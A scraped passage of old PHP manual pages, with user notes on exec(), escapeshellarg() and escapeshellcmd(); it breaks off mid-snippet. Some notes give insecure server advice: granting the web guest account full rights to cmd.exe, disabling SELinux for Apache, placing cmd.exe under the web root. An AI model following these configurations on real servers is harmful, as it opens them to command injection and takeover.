When I switched our server over from running cgi mode to FastCGI I found that my exec function was no longer working in one area. I found that even when IUSR_X had read access to the appropriate areas, it could not execute the file.

Permissions on files don't seem to matter with FastCGI. You have to move any executables and files that they access outside of wwwroot. My problem was that I was running an executable that was reading a file in my web directory.
Max_R 26-Sep-2007 04:21
Just a small notice, when running PHP under MS Windows
some external command-line utilities (like 'ffmpeg.exe') output all info to stderr instead of stdout. In my case it caused apache error.log overfilling with lots of unsolicited records.
It has just taken some time for me to make the utility silent:
Simply add
">NUL 2>&1"
to the very end of your command line. It makes cmd.exe to redirect stderr to stdout and then, in one's turn, redirect stdout to NULL.

Hope this tip will save some time when dealing with such utilities.
steve dot robinson at frogneck dot com 21-May-2007 04:46
If you are trying to use exec to run a cgi and output the contents via a php file, headers need to be seperated from the content and output seperately.

Also, at least in the case of the cgi I was attempting to execute, line feeds were missing, and some javascript didn't work as a result, so you may have to add line feeds back into the resulting output.  Here is the code I used to output my cgi properly...

<?PHP
putenv('REQUEST_METHOD=GET');

// to get your parameters passed into the cgi..
putenv('QUERY_STRING=' . $_SERVER['QUERY_STRING']);

//you will know you are past the header when you
//hit a blank line ('')
$inheader=true;
foreach($output as $val){
        if($val=='')
                $inheader=false;
        if($inheader)
                header($val);
        else
                echo($val . "\n"); // output contents
}
?>
php at fendy dot org 03-May-2007 02:51
Scheduling WinXP tasks with schtasks.exe and using PHP to execute the command, may sometime fail to work.

This is because, Apache does not have the privilege to access some of the System Files when placing the scheduling. The way I'd do: is by creating a normal user account and assign Apache service to logon as that account.

Open the 'services.msc' in the 'Run' window, look for Apache in the listing, right click and get to 'Properties'. Click at the second tab 'Log On' and fill in the 'This account' fields.

Of course, Apache needs to be installed as Service during its first setup.

Hope this helps anyone.

Fendy Ahmad
pawel_do_not at spam_me_lenart dot pl 24-Apr-2007 01:51
You must remember that if you're running your own compiled C programs and you don't get any output you probably do it like this:

printf("some text");

shell_exec and similiar functions won't display it, you must do your output as follows:

fprintf(stdout, "some text");

and then shell_exec and so will correctly read stdout (spent an hour wondering why my program isn't working when connected with PHP :)
29-Jan-2007 05:16
it seams to me the best way would be to copy cmd.exe to a secure directory somewhere under your web directory, add it to the windows path and then call it from there using system commands. It seams as though that would get arround any security holes
Rafael Palacios 29-Jan-2007 03:52
Here is a way to collect all the output of a command (standard output and standard error):

$command="your command goes here";
$output=shell_exec($command." 2>&1");  //system call
print "<pre>$output</pre>\n";          //show output
Matt-kun 08-Dec-2006 07:50
Just a simple note to help people get rid of some headaches.

when using:
<?
       $filepath = "the path of the file";
       exec("program -command $filepath ");
       fopen($filepath,rw);
?>

Make sure you use  "\ " ( \ space) for the Linux\unix path and just " " space for fopen. These are both very basic things that you wouldn't normally think to cause a problem, but when you try to pass slashes to fopen it either breaks or even better works incorrectly =D. And vise versa for any programs that use "\ " for spaces in file paths/names.

I ran into this problem when using <? exec(" cp $path "); ?> and <? fopen("$path"); ?>. To fix it I used str_replace(" ","\ ",$path); and str_replace("\ ", " ",$path);

*Note this is alot of sudo code, and there are faster more effecient ways of doing the same operations, but I thought this might help those who were going crazy over filepaths =D.
PHP at jyoppDot-com 04-Oct-2006 07:38
Here's a function to launch a low-priority background process very simply, returning control to the foreground.  I found that a lot of the other approaches shown here allow the script to continue running, and the page is served up to the user, but the PHP thread that launched the process cannot be re-used until the process has completed.  Stdout and stderr need to be redirected to /dev/null to prevent this.

This is for BSD/*NIX servers only (tested on Fedora Core and OSX).  Win32 approaches would be necessarily very different.  Omit 'nice' if you don't want to run the process with lowered priority.

<?php
function fork($shellCmd) {
    exec("nice $shellCmd > /dev/null 2>&1 &");
}
?>
t dot kramer at NOSPAM dot safetbus dot de 21-Sep-2006 11:21
Trying to us the following code failed badly with various results: like "unable to fork", "access denied", "empty results", depending on what settings I used, ... even though the same code worked from command line on the server itself.

$retstr = exec('nslookup -type=mx myhost.com', $retarr);

Instead of nslookup I believe this would apply to most programs from the \system32\ directory.

I had to learn that the following finally worked:
$retstr = exec('c:\php\safedir\nslookup -type=mx myhost.com', $retarr);

... but only under the listed preconditions:
1: nslookup.exe is placed (copied) in the directory \php\safedir\
2: the directory \php\safedir\ is included in the system PATH environement variable
3: the file cmd.exe is placed in \php\ as listed by other notes above
4: the directory "c:\php\safedir\" is set in the php.ini setting
safe_mode_exec_dir = "c:\php\safedir\"
.. maybe set in php-activescript.ini as well, depending on your system setup.
5: nslookup is referenced by the full path as otherwise the file from \windows\system32\ will be called. This happend to me with empty result due to missing rights!

Hope this helps somebody saving some time and headaches.
Thomas
Arjan van Bentem 12-Jul-2006 09:38
When using Red Hat Fedora, beware of Security Enhanced Linux, SELinux.

Quoted from Red Hat: "The security goal is to make sure that Apache HTTP is only reading the static Web content, and not doing anything else such as writing to the content, connecting to database sockets, reading user home directories, etc."

These limitations include, among many other things, using exec to run external applications that happen to use sockets (or maybe access some files) such as HylaFAX "faxstat" as invoked from nweb2fax recvq.php and sendq.php.

For debugging, one could try running such commands using PHP Shell (see http://mgeisler.net/php-shell/) which might fail while execution from the real command line (as Unix user apache or httpd) yields no problem whatsoever.

See /var/log/messages for any denials due to the SELinux policy. To disable it:

- System, Administration, Security Level and Firewall
- open the SELinux tab
- click the Transition tree
- check Disable SELinux protection for Apache HTTP
- execute /etc/init.d/httpd restart

See also http://fedora.redhat.com/docs/selinux-faq/ and http://php.net/results.php?q=selinux&p=wholesite
judas dot iscariote at gmail dot com 01-Jun-2006 09:19
This functions are generally considered harmful,without proper input validation procedures are as worse as eval().

If what you are trying to do is possible using other mechanism, ** do it that way, even if it takes more time **.

Do not cry or blame PHP if your server gets "owned" due to a missing escapeshell*** in your code , you have been warned.
manokan at manokan dot net 18-Apr-2006 07:09
Lets make it even clearer, about the "unable to fork" error in exec().

By default Windows XP sets all permissions for cmd.exe for the temporary internet user account (IUSER-[computername]) to DENY. That overrides everthing.

You must modify the security on cmd.exe to give the IUSER-computername account at least read & execute and remove the DENY.
not at any dot com 23-Feb-2006 09:16
at LAST!  tenacity pays off, days trying every little thing!

I didn't want batch files.  I'm trying to use PHP to get rid of batch files.

I didn't want to call a file to parse the parameters to call a shell to call a file.  I've got "systems" right now with batches tiered three and five deep.

I just wanted to run stuff.

CALL, tested on WinXP, will be testing on more OSes right away, in PHP4 and 5, with exec, system, works with popen, and passthru.

here is my lame sample function.

//  CreateZip
    function createzip ($target, $archive)
    {   $ziputil = "call \"c:\\Program Files\\7-zip\\7z.exe\"";
        $archived = escapeshellarg($archive);
        $targeted = escapeshellarg($target);

        $shellcommand= $ziputil." a -tzip ".$archived." ".$targeted."\n";

  // all of the below are working in Win XP Pro
    passthru ($shellcommand);
    exec ($shellcommand);
    system ($shellcommand);
    shell_exec ($shellcommand);
    $proc= popen ($shellcommand, "r"); //$proc contains output

LONG PATH NAMES WITH SPACES IN THEM ON WINDOWS!

all in a big long concatenated command line with multiple quoted-filename parameters

shell scripting bliss!
dragomirov at tiscali dot it 24-Jan-2006 12:52
IT's great Anthony, your function works even under a *nix machine. You only need to modify like that
<?php
function callTool ($path,$file)
{
   chdir($path); $call = $path.$file;
   pclose(popen($call.' &', 'r'));
}
?>
The command goes in bakground and the script is still running.

Thanx a lot!
valqk at lozenetz dot org 25-Nov-2005 01:05
If you are chrooting php into enviornment that doesn't have /bin/sh you can't execute any command! Even when you call
mail() and it calls sendmail ... well actually sendmail NEVER gets called because /bin/sh is not in the chroot!
SO in conclusion: YOU MUST HAVE /bin/sh TO EXECUTE SOMETHING!!!
VERY IMPORTNAT!
I've lost few days while find this, hope it helps someone!!!
manokan at manokan dot net 28-Oct-2005 12:01
Even more on the "unable to fork" error.

It was driving me crazy! I did check that the permissions were set for the IUSR_[server] account to read & exec cmd.exe. Yet still it failed. It wasn't until I got desperate that I happened to look in "special permissions." (Click the advanced tab underneath the regular list of permissions.) There I found that  somehow the IUSR_[server] account had a special permission DENYING access! Of course deny overrides everything else.

This was a newly set up install of XP pro. It must be the default of something (I'd guess IIS) to set this deny permission just to make our lives miserable.
abhilashp at clariontechnologies dot co dot in 29-Sep-2005 06:58
I faced the problem of putting a shell script as a backgroud process using both exec() and system() commands on a FreeBSD Server with PHP 4.4.0

I tried all the above mentioned methods but couldnt succeded, then i coded this script and am sure will work on all Linux flavors... See if ot helps you all guys...

I Put my Shell Script in the variable $ExecCommand

and used the proc_close and proc_open functions the code is as follows :

proc_close (proc_open ($ExecCommand,array(),$somefun));

After the above line the rest of the usual  php script continues....

Hope it helps you guys..
Shaun 26-Jan-2005 10:53
Trying to use 'exec' to run a helper executable on Win2K3 (and I'm told this also happens on Win2K) from a PHP script running on IIS, failed to invoke the executable.

Running the same PHP script on Win2K using Apache to serve the page calling the same helper executable worked.

Solution: On Win2K3 (and probably Win2K), give the IIS IUSR_xxxxx guest user Read & Execute permissions to Cmd.exe found in the System32 folder under Windows root directory.

This one had me confused longer than it should have! Hope this saves others from the same fate!
louis dot j dot scoras at gmail dot com 23-Jan-2005 07:43
To start a process to run in the background, you can use the same technique you would in writing a daemon.  Fork a new child while exiting in the parent, then set that as the process leader.  Finally, fork once more, and run whatever the command is:

<?php

if(pcntl_fork()) {
    exit;
}
posix_setsid();
if(pcntl_fork()) {
    exit;
}
pcntl_exec('/usr/bin/ogg123', array('-q', $this->findPath()));

?>

Of course, this would be the last thing that your script does, because the parent exits when you spawn the new process.  You could do more fancy things, but this works as a good starting point.
margus at kohv dot com 18-Jan-2005 12:10
Well, I had this issue when I wanted to start an indefinitely running PERL script from PHP. Somehow I could not make the PHP script to return after executing the PERL script. So finally I came to following solution:

PHP file
-------------------
<?php
exec("perl /home/chatserver.pl > /dev/null");
?>
-------------------
This script will be run over HTTP.

PERL file
-------------------
#!/usr/bin/perl
fork and exit 1;

# normal code here...
-------------------

Hopefully it helps someone :)
Margus
sean @T keenio - dot - com 09-Jan-2005 08:35
Just to clarify, background shell exec()ing is not the same as a fork() under Unix. It would be useful if PHP supported fork() like Perl and other scripting languages do. Simply exec()'ing a process and sending it to the background is not the same.

A true fork() copies the current environment and duplicates the running script so that there are two instances, one child, one parent. The child and parent can determine which copy they are and then take separate courses of execution paths based on that. Often one copy will perform some "busy work" while the other returns to normal execution. But no matter what, both functions live within the same code rather than a separate, external program. exec()ing can not do this for you.
sam at freepeers dot com 02-Oct-2004 02:51
To clarify even more about what has been said in the last few posts:

"exec", "backticks", "system" and so on will fail on Windows 2003 by default.

You must modify the security on cmd.exe to give the user account IUSR-computername the necessary permissions which are at least read & execute.
leaetherstrip at inbox dot ru 08-Jul-2004 11:23
Note on XP users: XP-Home edition does not allow to set rights directly on files and folders. You should use cacls command-line utility to do this.

For example:

cacls c:\windows\system32\cmd.exe /E /G IUSR_ADMIN2003:F

gives IIS user full access to cmd.exe (potential security hole!), so PHP can fork and execute external programs.
dotpointer 15-May-2004 03:02
Win32 / PHP 4.3.6...

If you plan to start programs on the server that show message boxes (things that require OK from the server-side), or remain (like notepad.exe), and the exec-command seems to go into an deadly loop, then MAYBE your program has started, but you can't see it. Because the web server runs as an system process, and it isn't allowed to interact with the desktop.

To solve a part of the problem (to see the programs you execute), in the control panel in Windows, goto Administration->Services, right-click the server-service, goto Properties and on the second tab (login?) and check the box about allowing the service to interact with the desktop. Click OK. Restart the webserver, and MAKE SURE it is restarted for real (i.e. look in the task manager so the service goes _down_), otherwise the desktop-option won't take.

Next phase would be to stop PHP from waiting for the processes to complete (this is what makes PHP "loop"). I solved this by creating a small Delphi-application that took the path to the file I wanted to execute and executed it by the WinExec API, which just starts the childprogram but doesn't wait for it to complete = the program completes and the PHP.exe completes the script. Problem solved!

Delphi-snippet:
WinExec(PChar(<CMD>),SW_SHOW); // replace <CMD> with the program path.
vosechu at roman-fleuve dot com 26-Mar-2004 03:35
Quick chart that helped me immensely (Best (+) / worst (o) of each command) and when to use each (w).

| exec(string cmd, [array cmd_output, [int cmd_exit_status]])
+- Second (optional) argument holds an array containing the output line by line.
+- Third (optional) argument holds the exit status of the executed program.
w- When the output of a command is only important to the program.

| system(string cmd, [int cmd_exit_status])
+- Echos ascii output straight to browser (only stdout; stderr must be redirected by putting 2>&1 after the command to see errors).
+- Second (optional) argument holds the exit status of the executed program.
w- When the output of a command is important to the user.

The more I go over my notes the less I care for the last two functions.
Shell_exec() = exec() + implode() - exit codes.
And while neccessary to be able to pipe binary through php, most people will never use passthru

| passthru(string cmd, [int cmd_exit_status])
+- Echos binary output directly to browser window.
+- Second (optional) argument holds the exit status of the executed program.
w- When the output of a command is binary.

| shell_exec(string cmd) <-- minimal features to maintain sync with normal use of backticks.
+- Returns full output as a string instead of directly to the browser (only stdout; stderr must be redirected).
o- No way to check exit status (Should use system() with both stderr and stdout redirected to /dev/null to get the exit code).
ferchland at computer-kontor dot de 22-Jan-2004 05:24
I tried to fork a GUI-process on WinNT, Apache 2, PHP4.
I saw the new process (notepad.exe) in the Task-Managers process-list, but no Notepad-Window anywhere!
After activating the checkbox "Interactive with Desktop allowed" in Services->Apache everthing works with a simple command
exec("start c:\\winnt\\notepad.exe");
jeremy at ntb dot co dot nz 28-Sep-2003 06:18
If an error occurs in the code you're trying to exec(), it can be challenging to figure out what's going wrong, since php echoes back the stdout stream rather than the stderr stream where all the useful error reporting's done. The solution is to add the code "2>&1" to the end of your shell command, which redirects stderr to stdout, which you can then easily print using something like print `shellcommand 2>&1`.
dens at dodgeball dot com 19-Sep-2003 12:41
I was stuck for about an hour and a half last night trying to get Perl to pass back values to my PHP script after running an exec() command.

Since my Perl script was using STDOUT (after being passed command lines variables), I expected the variables used in my .pl script to be accessible in PHP, no questions asked.

Of course, this wasn't working and I finally figured it out with the help of a friend (Shawn = superstar):  you need to echo the exec() command in order to get the values back into PHP.

Since I was returning multiple values, I added pipe delimiters in my .pl script and then used PHP to parse the string to retreive my data into different variables.

Check it out:

#hit the .pl script with the data
$mydata = exec("script.pl 'command line args' ");
exec("exit(0)");

#parse the value that comes back from the .pl script
list($strA, $strB) = split ('[|]', $mydata);
echo "valueA: " . $strA."<br>";
echo "valueB: " . $strB."<br>";

Woo-hoo!
/d
software at yvanrodrigues dot com 29-Jul-2003 11:55
MORE ON THE UNABLE TO FORK MESSAGES IN WINDOWS:

I would like to confirm that this issue relates to permissions on %SYSTEMROOT%\SYSTEM32. The user (usually the anonymous login) must have execute permissions on cmd.exe

This is unlike most other programming languages. For example, in C the spawn and exec functions do not try to open a shell, they create the new process directly. PHP creates the new process via cmd.exe (or command.com) much like the C system() function. This is good for those of you who are trying to run batch files but this is very ineffecient for running other .exe files.

I feel uneasy about lifting permissions in my system32 directory but you can get around this by copying cmd.exe to your PHP directory. Windows will look there first and if it is not there it will check the path. Note: I mean the directory where php.exe is, not your script directory.

I have confirmed this by running filemon.exe while trying to execute a script, and you can see it trying to start the cmd.exe process.
kristof_jebens at hotmail dot com 23-Jun-2003 11:23
For WIN2K Server users running Apache 1.3.22 who are unable to run an executable...

exec('c:\\WINNT\\system32\\cmd.exe /c START c:\\file.exe');

this is the only way it worked for me.
Hope that helps
david at mego dot com dot tw 02-Jun-2003 08:48
Okay here is my two cents for Windows users having "Unable to fork..." errors when executing "shell_exec" or "system" functions.

After numerous hours of testing, I realized that this error is a result of insufficient file permissions.  You will need to locate c:\Windows\system32\cmd.exe and set the permission to at least Read & Executable for Internet Guest user accounts.

Then you should be able to run your script without a problem.  If you still have a problem feel free to contact me by email.
leenoble at spammenot dot ntlworld dot com 09-May-2003 06:37
Even I typed in the full path to a command none of the shell functions worked at all.

exec("/usr/bin/mygoodcommand");

...just didn't produce results.

The command was world executable and ran fine from the shell. But after playing with the 2>&1 thing I established that "mygoodcommand" needed all of its commands to be path specific too. In my case I was attempting to dump a processed uploaded spreadsheet to a database with the command:

mysql --local-infile -u supportadmin --password='*******' personnel < /Users/leenoble/Sites/Websites/Support/data/updateexec.sql

In order for this to work I had to add:

/usr/local/mysql/bin/ to the mysql command to make it work. I hope this helps stop someone else from tearing their hair out in frustration.
mk at neon1 dot net 20-Apr-2003 06:17
If you want to execute background processes from PHP that should run indefinitely, be aware of the following nasty behavior (confirmed with PHP 4.3.1 under FreeBSD, but probably under other flavors of UNIX, too):

PHP internally calls setitimer(2) to set the profiling interval timer (ITIMER_PROF) to enforce execution time limits (max_execution_time and max_input_time). These timer values are passed down to all processes executed by PHP. This means that after such a process has consumed [max_execution_time] seconds of CPU time (not wallclock time!), the system will send it a SIGPROF (signal 27). Since most processes don't use this signal and as such don't call signal(3) to catch or ignore it, the default action is executed, which is to terminate the process.

So if you see background processes that were executed from PHP dying at seemingly random times, you may be experiencing this issue. The solution is simply to call set_time_limit(0) just before executing the process.
jpgiot at ifrance.com 26-Jan-2003 03:30
FOR WINDOWS USERS

i had a look to start command. it's really usefull in fact.

this is how i launch a specific Apache SSL server

<?php
$cmd = "start /D C:\OpenSA\Apache /B Apache.exe -D SSL";
exec($cmd,$output,$rv);
?>

/D specify the path where application will be launched (equivalent to cd to path)
/B launch application without a console window

so to know the exact parameters of start, you could use

<?php
exec("start /? > start.txt");
?>

and you will get the help of start in a file named 'start.txt' in the same place you run the script

for WIN 98 you may need to modify a little your command

exec("COMMAND.COM /C START program args >NUL");

(taken from another post)
jfl at eksperten dot dk 10-Jan-2003 07:01
I made my script work in the background like this:
function start_shell ($cmd) {
    exec('nohup "'.$cmd.'" > /dev/null &');
}
qscripts at lycos dot nl 07-Jan-2003 02:45
Why not using the "start" utility, provided with every version of Windows to start processes in the background on Windows machines? For example :

exec("start song.mp3");

Which will cause the default handeling application for .MP3 file types to start playing the selected song..
NOtvdgeerSPAM at NOxs4allSPAM dot nl 03-Dec-2002 01:36
For users of PHP4 & Apache on Windows2000/XP:

If you're trying to execute a command-line application from PHP that has to show a (console) window on your desktop, make sure you enable the option to 'allow service to interact with desktop' in de service properties of Apache. (See your Windows services)

CAUTION: This can lead to security problems if your setting up a publicly available webserver!
k dot mitz dot NO_SPAM at att dot NO_SPAM dot net 15-Sep-2002 11:07
Newbie note:

The only syntax I found to work for the command portion of an an exec() call on a Win2K devel platform is:

$cmd = "\"path-to-exe\" args file-name";

where 'path-to-exe' has escaped double quotes, args are in the standard format, and 'file-name' has any backslashes escaped.

Example:

$cmd = "\"C:\program files\winzip\wzunzip.exe\" -c C:\\temp\\uploaded_file.zip";

exec($cmd,$output,$rv);

Note that the backslashes are escaped in the uploaded_file name, but not in the path to call the Winzip executable.  Go figure!
kop at meme dot com 12-Aug-2002 11:52
AFICT, the standard Unix Apache configuration causes an rare problem when running a job in the background. The MaxRequestsPerChild directive causes the child to terminate after 1000 requests, any background processes associated with the child will die with the child unless they are started with the "nohup" command.  Thus, the proper way to start a job in the background is to use:

exec('nohup my-command > /dev/null 2>&1 &')
ramirosuarez at fibertel dot com dot ar 13-Jul-2002 05:58
For Windows Users:

Keep in mind that a lot of UNABLE TO FORK Errors are the result of insufficient permissions.

CMD.EXE, TEMP Directory (or whatever you specified in php.ini), and all the directories that you use to upload o manipulate your files need to have Write privileges� usually user USER.

This will be useful for all the people who use GD Libraries or other programs that manipulate graphic images.
GCMXZPJPDJER at spammotel dot com 30-Jun-2002 09:41
to execute a script in background from php you don't need to use mikehup or other tools. just do:

`/usr/bin/php -q foobar.php >/dev/null 2>&1 &`;

mat
deschampsbest at noos dot fr 26-Jun-2002 10:05
I needed to know when a group of background tasks, which had been launched with a call to system, had terminated.
I could not find a function to call, so I created a little function.

It basically loops on the existance of a string in the results returned by the command ps.

All my commands, which run in background have the pid returned by posix_getpid in them.

I am able to launch many background task and effectively wait for them all to finish.

Before this, I would basically would sleep for N seconds.

I apologise if a well known or better method exist.

Thanks,
The New Bee
===============
===============

function wait_until_termination ($id, $duration){
                $i = 0;
                do {
                        $i += 1;

                        $cnt = `ps -auxww |
                                grep $id |
                                grep -v grep |
                                awk '{print $2}' |
                                grep -v $id|
                                wc -l` ;

                        if ($cnt > 0) {
                                sleep ($duration);
                        }

                } while ($cnt != 0);

                echo ("wait_until_termination (PID: $id, SEC: $duration) : LOOPS
:$i<BR>");
        }
rolland dot dudemaine at msg-software dot com 11-Apr-2002 02:45
In case you ever had to chain from php to another program (e.g. with a cgi php that only gives part of the output, or with php-gtk), here is a little C program that kills his parent (php, for instance), then launches a program given in argument.

chain.c :

#include <unistd.h>

int main(int argc, char**argv) {
  /* kill the parent */
  kill(getppid(), 15);
  argv++;
  /* then launch the new program */
  return execvp(argv[0], argv);
}
(compile with gcc -O3 -o chain chain.c)
then in php, use
<?
exec('chain sh -c echo test');
?>
vi_pa at hotmail dot com 05-Apr-2002 01:17
For those who want to execute a .php script to run in the background, from a
.php web page...

exec("php script.php parameters 2>dev/null >&- <&- >/dev/null &");

Where...
- php is the path to your php script executer (php has to be specifically complied to be to do this)
- script.php is the script
- parameters are none or more parameters
- 2>dev/null redirects the stderr to a file
- <&- switches off the stdin
- >&- switches off the stdout
- >dev/null redirects all other output to the file dev/null
- & direct script to run in background

This is the only way I managed to get it working (Linux & Apache, php 4x enviroment) . What is also great is that the process is forked so even though a user may close the browser that initiated the exec(), the process will still run to completion. And the dev/null file can be turned into a log.

What I found odd is that the script I was execing would run fine in the bg when executed from the command line, but not from the browser until I closed the stdin and stdout.
daniel dot hopp at godot dot de 01-Feb-2002 08:25
Re: session_write_close()

To launch a background process within a session, I recommend
to use a start-stop-daemon and ship parameters via ENV.

Example:
----------------------------------------
<?php
  // Within a session..
  exec("/some/where/launch.sh 300");
  // ..finished immediately.
?>

----------------------------------------
#!/bin/bash
# /some/where/launch.sh
T=$1
export T
DAEMON=/some/where/runme.pl
start-stop-daemon --start --quiet --background --exec $DAEMON

----------------------------------------
#!/usr/bin/perl
# /some/where/runme.pl
my $t = $ENV{'T'};
sleep($t);

----------------------------------------
edwin at bit dot nl 23-Jan-2002 12:47
If you are using sessions and want to start a background process, you might have the following problem:
The first time you call your script everything goes fine, but when you call it again and the process is STILL running, your script seems to "freeze" until you kill the process you started the first time.

You'll have to call session_write_close(); to solve this problem. It has something to do with the fact that only one script/process can operate at once on a session. (others will be lockedout until the script finishes)

I don't know why it somehow seems to be influenced by background processes, but I tried everything and this is the only solution. (i had a perl script that "daemonized" it's self like the example in the perl manuals)

Took me a long time to figure out, thanks ian@virtisp.net! :-)
lk1 at reglos dot de 25-Oct-2001 12:05
To keep a program running in the background on win98 the command
exec("COMMAND.COM /C START program args >NUL");
works fine for me.
naken at naken dot cc 15-Aug-2001 11:17
Anyone who still wants a copy of mikehup.c,
I rewrote it:  http://www.naken.cc/mikehup.php
This program will help you run programs in the
background that are called with the php system()
function.


Escape a string to be used as a shell argument

  • « Program execution Functions
  • escapeshellcmd »
  • PHP Manual
  • Program execution Functions
  • Escape a string to be used as a shell argument

escapeshellarg

(PHP 4 >= 4.0.3, PHP 5)

escapeshellarg — Escape a string to be used as a shell argument

Description

string escapeshellarg ( string $arg )

escapeshellarg() adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument. This function should be used to escape individual arguments to shell functions coming from user input. The shell functions include exec(), system() and the backtick operator.

Parameters

arg

The argument that will be escaped.

Return Values

The escaped string.

Examples

Example #1 escapeshellarg() example

<?php
system('ls '.escapeshellarg($dir));
?>

See Also

  • escapeshellcmd() - Escape shell metacharacters
  • exec() - Execute an external program
  • popen() - Opens process file pointer
  • system() - Execute an external program and display the output
  • backtick operator

User Contributed Notes

jon at wroth dot org 19-Apr-2014 04:20
the best alternative to escapeshellarg() for windows i've come up with is this:
<?php
function w32escapeshellarg($s)
{ return '"' . addcslashes($s, '\\"') . '"'; }
?>
wijnand at jpresult dot nl 11-Apr-2013 08:32
Here's a quick and dirty replacement of this function in case you need to deal with special characters.

<?php
/**
 * An ugly, non-ASCII-character safe replacement of escapeshellarg().
 */
function escapeshellarg_special($file) {
  return "'" . str_replace("'", "'\"'\"'", $file) . "'";
}
?>
sblyons+php at gmail dot com 24-Jul-2012 11:38
Take care if using escapeshellarg() on serialized objects. Serialized objects contain null bytes, and escapeshellarg stops on the first null byte so you will not receive the full argument. (I consider this a bug, though not sure what it should do in this case. Probably serialize shouldn't have used null bytes, but too late for that now).
The workaround I've found to pass serialized objects on the command line is to base64_encode() them first and decode on the other side.
phil at philfreo dot com 04-Aug-2010 12:56
When escapeshellarg() was stripping my non-ASCII characters from a UTF-8 string, adding the following fixed the problem:

<?php
setlocale(LC_CTYPE, "en_US.UTF-8");
?>
phpman at crustynet dot org dot uk 12-Oct-2009 07:53
The comment from 'rmays at castlecomm dot com' is incorrect: single quotes cannot be backslash-escaped inside a single-quoted string when constructing a shell argument. The output from this function is in fact correct. It drops out of the single-quoted string, includes a literal single quote with a backslash-escape, then resumes the single-quoted string. Observe:

[shellarg.php]
<?php

system("echo ' single quote\'d '");
system("echo ' single quote'\''d '");
?>

$ php shellarg.php
sh: -c: line 0: unexpected EOF while looking for matching `''
sh: -c: line 1: syntax error: unexpected end of file
 single quote'd
jrbeaure at uvm dot edu 26-Jun-2009 03:51
When running a string of LaTeX code containing hyphens through as an argument to pdflatex escaped using this command, it will result in failure.
info at infosoporte dot com 20-Jan-2009 01:12
If escapeshellarg() function removes your accents (like á, a with an 'accute') from the given string, ensure your LC_ALL variable is correct. If using it via web, you need to restart Apache or the corresponding web server after setting LC_ALL with a export LC_ALL=es_ES.utf8 (for example) from your shell.
Audun 30-Jul-2008 02:02
The reason why % are replaced with space on windows is that it is impossible in cmd.exe to escape or quote them so that environment variables are not expanded.  If for instance %path% is in your argument it will always be expanded, so the only safe thing to do is to replace % with something else.

Alternatively, you could wipe the environment before making the call to exec(), but that has its side-effects.
Cameron 03-May-2008 08:45
in regards to the bug returning no string where it should return "" or '', just do
<?php
shell_exec("example ". (($arg=escapeshellarg($arg))? $arg : "''"));
?>
egorinsk at gmail dot com 28-Apr-2007 01:09
Under Windows, this function puts string into double-quotes, not single, and replaces %(percent sign) with a space, that's why it's impossible to pass a filename with percents in its name through this function.
22-May-2006 02:25
Most of the comments above have misunderstood this function. It does not need to escape characters such as '$' and '`' - it uses the fact that the shell does not treat any characters as special inside single quotes (except the single quote character itself). The correct way to use this function is to call it on a variable that is intended to be passed to a command-line program as a single argument to that program - you do not call it on command-line as a whole.

The person above who comments that this function behaves badly if given the empty string as input is correct - this is a bug. It should indeed return two single quotes in this case.
phpnet at lostreality dot org 11-Nov-2005 05:53
This function does not escape $ it seems. This lets user embed shell variables such as $PATH into commands, which you may or may not want to allow.  I'm using shell_exec() because I need the entire command as one string, and need access to the stdout data as one string as well.
vosechu at roman-fleuve dot com 26-Mar-2004 02:05
If escapeshellarg() returned something on a null input it would probably break more programs than it helps. Even if it's two "'s or two ''s, this function wouldn't work the way it's supposed to (that is, returning nothing).

However, most people do not put "" into their commands but I can see where it might be useful at the same time.
Perhaps an option in the command that would return the type of null we want. I might want the null character to be returned, someone else might want '', and someone else might want nothing at all.
php at floris dot nu 26-Mar-2003 04:27
i also thought the output was gonna be between 's because that's the way windows handles arguments with spaces in them. i think we have a unix <> windows misunderstanding here...


Escape shell metacharacters

  • « escapeshellarg
  • exec »
  • PHP Manual
  • Program execution Functions
  • Escape shell metacharacters

escapeshellcmd

(PHP 4, PHP 5)

escapeshellcmd — Escape shell metacharacters

Description

string escapeshellcmd ( string $command )

escapeshellcmd() escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands. This function should be used to make sure that any data coming from user input is escaped before this data is passed to the exec() or system() functions, or to the backtick operator.

Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.

Parameters

command

The command that will be escaped.

Return Values

The escaped string.

Examples

Example #1 escapeshellcmd() example

<?php
// We allow arbitrary number of arguments intentionally here.
$command = './configure '.$_POST['configure_options'];

$escaped_command = escapeshellcmd($command);

system($escaped_command);
?>

Warning

escapeshellcmd() should be used on the whole command string, and it still allows the attacker to pass arbitrary number of arguments. For escaping a single argument escapeshellarg() should be used instead.

See Also

  • escapeshellarg() - Escape a string to be used as a shell argument
  • exec() - Execute an external program
  • popen() - Opens process file pointer
  • system() - Execute an external program and display the output
  • backtick operator

User Contributed Notes

phpcomment at reversiblemaps dot ath dot cx 17-Apr-2012 08:31
escaping strings for a shell is tricky.

  If your target system is windows give up now.  windows isn't even self consisitent in how to escape stuff.

  if unix convert everything to octal - although this is hardest to implement it's the easiest to implement correctly - there are no special cases..
.
nicholas at nicholaswilson dot me dot uk 30-Jan-2011 04:41
There is a quirk to be aware of regarding use of echo. If you have a command which you want to execute which takes input from STDIN, you would normally do:

<?php $output = shell_exec("echo $input | /the/command"); ?>

Unfortunately, this is a *bad idea* and will make your script unportable, providing a very hard-to-trace bug on some systems. Depending on how the server is set up, /bin/sh will either call /bin/bash or /bin/dash, and these have very different versions of echo. Never use echo; use printf instead which is consistent. How do you escape for printf? Do this:

<?php
$input = 'string to be passed *exactly* to the command';
//Escape only what is needed to get by PHP's parser; we want
//the string data PHP is holding in its buffer to be passed
//exactly to stdin buffer of the command.
$cmd = str_replace(array('\\', '%'), array('\\\\', '%%'), $input);
$cmd = escapeshellarg($cmd);

$output = shell_exec("printf $cmd | /path/to/command");
?>

For the paranoid, this torture test verifies that both shell escaping and printf's own escaping are handled correctly. Use with confidence!

<?php

$test = 'stuff bash interprets, space: # & ; ` | * ? ~ < > ^ ( ) [ ] { } $ \ \x0A \xFF. \' " %'.PHP_EOL.
        'stuff bash interprets, no space: #&;`|*?~<>^()[]{}$\\x0A\xFF.\'\"%'.PHP_EOL.
        'stuff bash interprets, with leading backslash: \# \& \; \` \| \* \? \~ \< \> \^ \( \) \[ \] \{ \} \$ \\\ \\\x0A \\\xFF. \\\' \" \%'.PHP_EOL.
